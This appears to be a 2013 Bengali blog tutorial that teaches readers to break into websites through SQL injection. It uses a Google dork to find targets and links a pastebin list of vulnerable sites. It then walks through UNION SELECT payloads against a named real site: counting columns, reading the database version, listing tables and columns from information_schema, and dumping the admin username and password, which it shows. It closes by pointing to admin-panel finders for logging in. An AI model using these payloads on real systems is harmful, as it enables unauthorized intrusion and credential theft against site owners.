****SQL INJECTION এর মাধ্যমে সাইট হ্যাক করুন****

 

by  on Aug.19, 2013, under সাইট হ্যাকিং…

SQL Inject করে আজ আপনাদের ভার্নাবল সাইট হ্যাক করা শিখাবো । SQL Inject এর জন্য আপনাকে কিছু Command ব্যবহার করা জানতে হবে । SQL inject করার সময় 1st –এ আপনাকে কোনো Site Vulnerability  এর  খুজতে হবে । এর জন্য প্রথমে Google এ যান এবং একটি Google Dorks ব্যবহার করুন । পূর্বের Post এ আমি আপনাদের Google Dorks সম্পর্কে জানিয়েছি । আমি এখানে আপনাদের জন্য একটি Goolge Dork দিয়ে দিচ্ছি :

Inurl:page.php?id=

আপনারা Google এ গিয়ে উপরের Dork টি লিখে Search দিন ।Search Result এ দেখবেন নিম্নের মত অনেক গুলো Site রয়েছে । এর মধ্যে যেকোনো একটি নিন ।

http://Site.com/index.php?id=2

আমি এখানে আপনাদের জন্য কিছু Vulnerable Site দিয়ে দিলাম ।নিম্নের সাইটিতে গেলে কিছু ভার্নাবল সাইট পাবেন ।

http://www.pastebin.com/6HckfUzW

আর আমি এখানে নিম্নের Site টি ব্যবহার করচ্ছি আপনাদের বোঝার সুবিধার জন্য :

http://tajmahalindia.com/page.php?id=1

এরপর আপনাকে দেখতে হবে Site টি SQL injectable বা SQL Inject Vulnerable কি না । এর জন্য আপনাকে Site এর শেষে একটি ‘ দিতে হবে ।

Like This : http://www.tajmahalindia.com/page.php?id=1

যদি Site টির ডাটাবেজের কিছু মিসিং করে বা পেজে কোনো Error দেখায় তাহলে বুঝবেন সাইট টি injectable বা সাইট টি SQL Inject Vulnerable ।

যেমন Site টিতে এই Error টি দেখাতে পারে :

“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1″

এছাড়াও অন্য কোনো Error আসতে পারে । আবার কিছু Site এ কিছুই আসে না । শুধু Site এর কিছু Data miss করে ।

যাই হোক, এরপর আপনাকে Site এর Datebase এ মোট কতটি Column আছে তা বের করতে হবে । এর জন্য Site এর শেষ এ order by কমান্ড টি দিতে হবে ।

তাহলে Link টি দাঁড়াবে :

http://tajmahalindia.com/page.php?id=1 order by

এবার order by এর পরযেকোনো একটি সংখ্য দিন । যেমন :

http://tajmahalindia.com/page.php?id=1 order by 20–

এটি SQL Inject এর 1st Step । প্রথমে আপনি Column সংখ্য বেশি দিবেন যাতে Database আপনাকে Error দেখায় অথবা Datebase এ File miss করে । যেমন উপরের Site তে Error দেখাচ্ছে :

Unknown column 20 in order clause । Error এ অন্য কিছু ও দেখাতে পারে

যাই হোক, এর অর্থ Site এর Database এ 20 টি Column নেই ।

এবার 20 এর জায়গায় 10 দিন । দেখবেন একই Error দিবে তার মানে Site টিতে 10 টির ও কম Column  রয়েছে । এবার 10 এর জায়গায় 5 দিন । এতে ও Error দেখচ্ছে ।

এবার 5 এর চেয়ে এক এক করে কমাতে থাকুন ।

http://tajmahalindia.com/page.php?id=4 order by 4 [ Error দেখাচ্ছে ]

http://tajmahalindia.com/page.php?id=3 order by 3 [ Error দেখাচ্ছে না ]

এর অর্থ সাইট Database এ 3 টি Column  রয়েছে । J

এখন আমাদের দেখতে হবে এই 3 টি কলামের ভেতর Vulnerable কোনটি ।এর জন্য আমাদের আবার কমান্ড ব্যবহার করতে হবে ।
কমান্ড টি  হবে নিম্নের মত

union select 1,2,3–

তাহলে লিংক টি দাড়াবে
http://tajmahalindia.com/page.php?id=-1 union select 1,2,3–

( উল্লেখ , এখানে page.php?id= এর পর একটি – দেয়া হয়েছে )

এখন আপনি Site টির Database এ কয়টি Number দেখতে পারবেন । যে Number দেখতে পারবেন ওই গুলোই আপনাদের Site টির Vulnerable Column ।

আপনাকে এই Vulnerable Column থেকে Site টি Inject করে Site এর Database থেকে Admin panel এর Info বের করতে হবে ।

এই Site টিতে 2 এবং 3 লিখা আছে । তার মানে Site টির 2 এবং 3 Column গুলো Vulnerable ।

আমরা Vulnerable Column 2 কে নিয়ে কাজ করব ।

এখন আমরা ভার্নাবল কলামের ভার্সন বের করবো । এর জন্য আপনাকে আবার একটি কমান্ড ব্যবহার করতে হবে । এখন আগের লিংকেরই শুধু 2 এর জায়গায় version() দিতে হবে ।
তাহলে লিংক টি দাড়ায়

http://tajmahalindia.com/page.php?id=-1 union select 1,version(),3—

যদি Site এর Database এর Version 5.+ হয় তাহলেই আপনি Site টি Inject করতে পারবেন ।না হলে SQL Inject এর অন্য Way ব্যবহার করতে হবে ।

যাই হোক, এখন আমরা আরেকটি কমান্ড ব্যবহার করে টেবিল বের করব । এক্ষেত্রে Vulnerable Column এর বদলে group_concat(table_name) কমান্ড দিতে হবে এবং শেষ কলামের পর একটা Space দিয়ে

from information_schema.tables where table_schema=database()–

কমান্ডটি দিতে হবে ।

তাহলে লিংকটি দাড়ালো

http://tajmahalindia.com/page.php?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()–

Site টিতে গেলে আপনি কিছু Table দেখতে পারবেন । এখন আপানার পরের কাজ হবে Table গুলো থেকে Admin Table খুজে বের করা ।

ওই Table গুলোর মধ্যে Admin Table কোনটি ???

এক্ষেত্রে আপনাকে একটু বুদ্দ্বি খাটাতে হবে । যেমন এখানে image , news এর এডমিন টেবিল হবে না বুঝা যায় ।
এই Site এর Admin Table হল admin_login

ধরে নিতে না পারলে বা ভুল ধরলে সমাস্যা নেই ।
কমান্ডের মাধ্যমে বের করতে হবে । এক্ষেত্রে আপনাকে ভার্নাবল সাইটের বদলে group_concat(column_name) কমান্ড দিতে হবে । এবং শেষ কলামের পর

from information_schema.columns where table_name=0x(admin table এর hex form)—

দিতে হবে । Text2Hex Convert করার জন্য নিম্নের Link এ যান

http://www.string-functions.com/string-hex.aspx
এবং আপনার ধারনা করা Table টি লিখে Convert এ Click করুন । তাহলেই আপনার Table এর Hex Form পেয়ে যাবেন ।এবার Hex Form টি 0x এর পর দিন

এখানে admin_login এর Hex form হচ্ছে  61646d696e5f6c6f67696e

তাহলে লিংকটি দাড়াবে

http://tajmahalindia.com/page.php?id=-1 UNION SELECT 1,group_concat(column_name),3 from information_schema.columns where table_name=0x61646d696e5f6c6f67696e–

আপনি এডমিন টেবিল ধারনা না করতে পারলে আপনি 0x এর পর অন্যান্য টেবিলের হেক্স রুপান্তর দিয়ে চেষ্টা করবেন । যেটাতে id,password,username বা এরকম সম্পর্কিত কিছু দেখাবে তখন বুঝবেন ওইটি এডমিন টেবিল ।
যেহেতু আমরা বুঝেছি admin_login এডমিন টেবিল এর হেক্স রুপান্তর দিয়ে লিংকে গিয়ে আমরা পেলাম কিছু এডমিন কলাম ।
যেমনঃ id,usename,password ইত্যাদি ।

আমাদের সাইটিতে Log in করার জন্য দরকার Admin Panel এর Username এবং Password । তাই আমাদের Username এবং Password খুজতে হবে ।

এজন্য আমাদের শেষ কমান্ড ব্যবহার করতে হবে ।
এজন্য আমাদের ভার্নবল কলামের বদলে group_concat (usename,0x3a, password) কমান্ড দিবো ।

[উল্লেখ ,সব সাইট এর এডমিন কলাম একই থাকে না । এই সাইট এ এডমিন কলাম= id,password,username । কিন্তু অন্য সাইট এ এডমিন কলাম অন্য কিছু থাকতে পারে ।

সেক্ষেত্রে Vulnerable Column এর জায়গায় group_concat(আপনার পাওয়া সাইট এর User,0x3a, আপনার পাওয়া সাইট এর Password) দিতে হবে ।]

এবং শেষ কলামের পর from(সাইট এর এডমিন টেবিলের নাম)—

যাহেতু আমার সাইট এর এডমিন টেবিল এর নাম admin_login তাই আমি শেষ কলামের পর লিখব from admin_login—

আপনারা form এর পর আপনাদের এডমিন টেবিল এর নাম  লিখবেন ।

তাহলে লিংক টি দাড়ায়

http://tajmahalindia.com/page.php?id=-1+UNION+SELECT1,group_concat(username,0x3a,password),3 from admin_login–

দেখবেন আপনি ইউজারনেম পেয়ে যাবেন ।
username:password

admin:google

এখন শেষ কাজ হচ্ছে এডমিন পেনেল বের করা । Admin Panel বের করতে পারলেই আপনি ওই সাইটিতে Log in করতে পারবেন। এর জন্য আপনাকে কোনো সফ্টওয়ার বা এডমিন ফাইন্ডার সাইট ব্যবহার করতে হবে ।